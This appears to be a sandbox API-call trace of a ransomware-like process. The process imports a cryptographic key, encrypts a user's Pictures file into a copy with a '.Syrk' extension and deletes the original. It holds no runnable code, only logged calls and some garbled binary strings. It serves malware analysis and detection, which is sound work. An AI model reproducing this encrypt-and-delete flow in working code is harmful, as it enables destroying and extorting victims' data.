(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0248.722] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0248.722] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.722] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0248.722] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.722] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0248.722] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0248.722] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.722] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0248.722] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.722] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0248.722] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0248.723] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.723] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0248.723] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0248.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0248.723] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.723] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0248.723] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0248.723] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0248.723] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.723] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0248.724] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0248.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0248.724] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.724] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0248.724] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0248.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0248.724] SystemFunction041 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.724] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0248.724] SystemFunction040 (in: Memory=0x3af1c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af1c4) returned 0x0 [0248.724] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0248.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0248.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0248.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0248.725] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0248.725] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0248.725] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0248.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0248.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0248.726] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0248.726] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0248.726] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0248.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0248.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0248.726] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0248.726] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0248.726] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0248.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0248.726] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0248.726] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0248.726] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0248.727] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0248.727] EtwEventActivityIdControl () returned 0x0 [0248.727] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0248.727] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0248.727] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0248.727] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0248.729] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cd48) returned 1 [0248.731] CryptImportKey (in: hProv=0x5c4cd48, pbData=0x24fd1b4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99620) returned 1 [0248.731] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0248.731] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.779] EtwEventActivityIdControl () returned 0x0 [0248.779] EtwEventActivityIdControl () returned 0x0 [0248.779] EtwEventActivityIdControl () returned 0x0 [0248.786] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg")) returned 0x20 [0248.786] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg")) returned 0x20 [0248.787] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0248.787] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", lpFilePart=0x0) returned 0x25 [0248.787] EtwEventActivityIdControl () returned 0x0 [0248.787] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.788] EtwEventActivityIdControl () returned 0x0 [0248.788] EtwEventActivityIdControl () returned 0x0 [0248.788] EtwEventActivityIdControl () returned 0x0 [0248.789] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0248.789] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", lpFilePart=0x0) returned 0x25 [0248.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0248.790] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0248.790] GetFileType (hFile=0x3c4) returned 0x1 [0248.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0248.790] GetFileType (hFile=0x3c4) returned 0x1 [0248.790] EtwEventActivityIdControl () returned 0x0 [0248.790] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.791] EtwEventActivityIdControl () returned 0x0 [0248.791] EtwEventActivityIdControl () returned 0x0 [0248.791] EtwEventActivityIdControl () returned 0x0 [0248.792] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0248.792] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg.Syrk", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg.Syrk", lpFilePart=0x0) returned 0x2a [0248.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0248.792] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0248.793] GetFileType (hFile=0x454) returned 0x1 [0248.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0248.793] GetFileType (hFile=0x454) returned 0x1 [0248.793] EtwEventActivityIdControl () returned 0x0 [0248.793] CryptGenRandom (in: hProv=0x5c4cd48, dwLen=0x10, pbBuffer=0x250cc24 | out: pbBuffer=0x250cc24) returned 1 [0248.796] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0248.796] CryptDuplicateKey (in: hKey=0x5c99620, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c995e0) returned 1 [0248.796] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0248.797] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x4, pbData=0x250df5c*=0x1, dwFlags=0x0) returned 1 [0248.797] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x1, pbData=0x250df28, dwFlags=0x0) returned 1 [0248.797] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.797] EtwEventActivityIdControl () returned 0x0 [0248.797] EtwEventActivityIdControl () returned 0x0 [0248.797] EtwEventActivityIdControl () returned 0x0 [0248.798] EtwEventActivityIdControl () returned 0x0 [0248.799] ReadFile (in: hFile=0x3c4, lpBuffer=0x2510b98, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2510b98*, lpNumberOfBytesRead=0x5a2e7d8*=0x88fa, lpOverlapped=0x0) returned 1 [0248.801] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2524bb0*, pdwDataLen=0x5a2e7cc*=0x88f0, dwBufLen=0x88f0 | out: pbData=0x2524bb0*, pdwDataLen=0x5a2e7cc*=0x88f0) returned 1 [0248.801] WriteFile (in: hFile=0x454, lpBuffer=0x250cd0c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x250cd0c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0248.803] WriteFile (in: hFile=0x454, lpBuffer=0x2525b9c*, nNumberOfBytesToWrite=0x7904, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2525b9c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x7904, lpOverlapped=0x0) returned 1 [0248.804] ReadFile (in: hFile=0x3c4, lpBuffer=0x2510b98, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2510b98*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0248.804] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x252d4ac*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x252d4ac*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0248.804] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x252d4c8*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x252d4c8*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0248.804] WriteFile (in: hFile=0x454, lpBuffer=0x250cd0c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x250cd0c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0248.804] CloseHandle (hObject=0x454) returned 1 [0248.806] CloseHandle (hObject=0x3c4) returned 1 [0248.807] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.807] EtwEventActivityIdControl () returned 0x0 [0248.807] EtwEventActivityIdControl () returned 0x0 [0248.807] EtwEventActivityIdControl () returned 0x0 [0248.813] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg")) returned 0x20 [0248.815] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0248.815] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", lpFilePart=0x0) returned 0x25 [0248.815] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0248.816] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0248.816] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0248.816] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0248.816] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0248.816] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0248.816] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0248.816] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0248.816] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0248.816] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0248.816] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0248.816] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0248.817] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0248.817] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0248.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0248.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0248.817] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg")) returned 0x20 [0248.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0248.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", lpFilePart=0x0) returned 0x25 [0248.820] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0248.820] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", lpFilePart=0x0) returned 0x25 [0248.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0248.820] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0248.820] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", lpFilePart=0x0) returned 0x25 [0248.820] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0248.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0248.821] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0248.821] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0248.821] CoTaskMemFree (pv=0x3b0008) [0248.823] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg")) returned 0x20 [0248.823] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0248.823] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg", lpFilePart=0x0) returned 0x25 [0248.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0248.823] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg"), fInfoLevelId=0x0, lpFileInformation=0x2537d04 | out: lpFileInformation=0x2537d04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef82d940, ftCreationTime.dwHighDateTime=0x1d9999f, ftLastAccessTime.dwLowDateTime=0x34a91250, ftLastAccessTime.dwHighDateTime=0x1d99d6a, ftLastWriteTime.dwLowDateTime=0x34a91250, ftLastWriteTime.dwHighDateTime=0x1d99d6a, nFileSizeHigh=0x0, nFileSizeLow=0x88fa)) returned 1 [0248.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0248.823] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg")) returned 1 [0248.890] EtwEventActivityIdControl () returned 0x0 [0248.891] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.891] EtwEventActivityIdControl () returned 0x0 [0248.891] EtwEventActivityIdControl () returned 0x0 [0248.891] EtwEventActivityIdControl () returned 0x0 [0248.898] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\F-RYQ.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\f-ryq.jpg.syrk")) returned 0x20 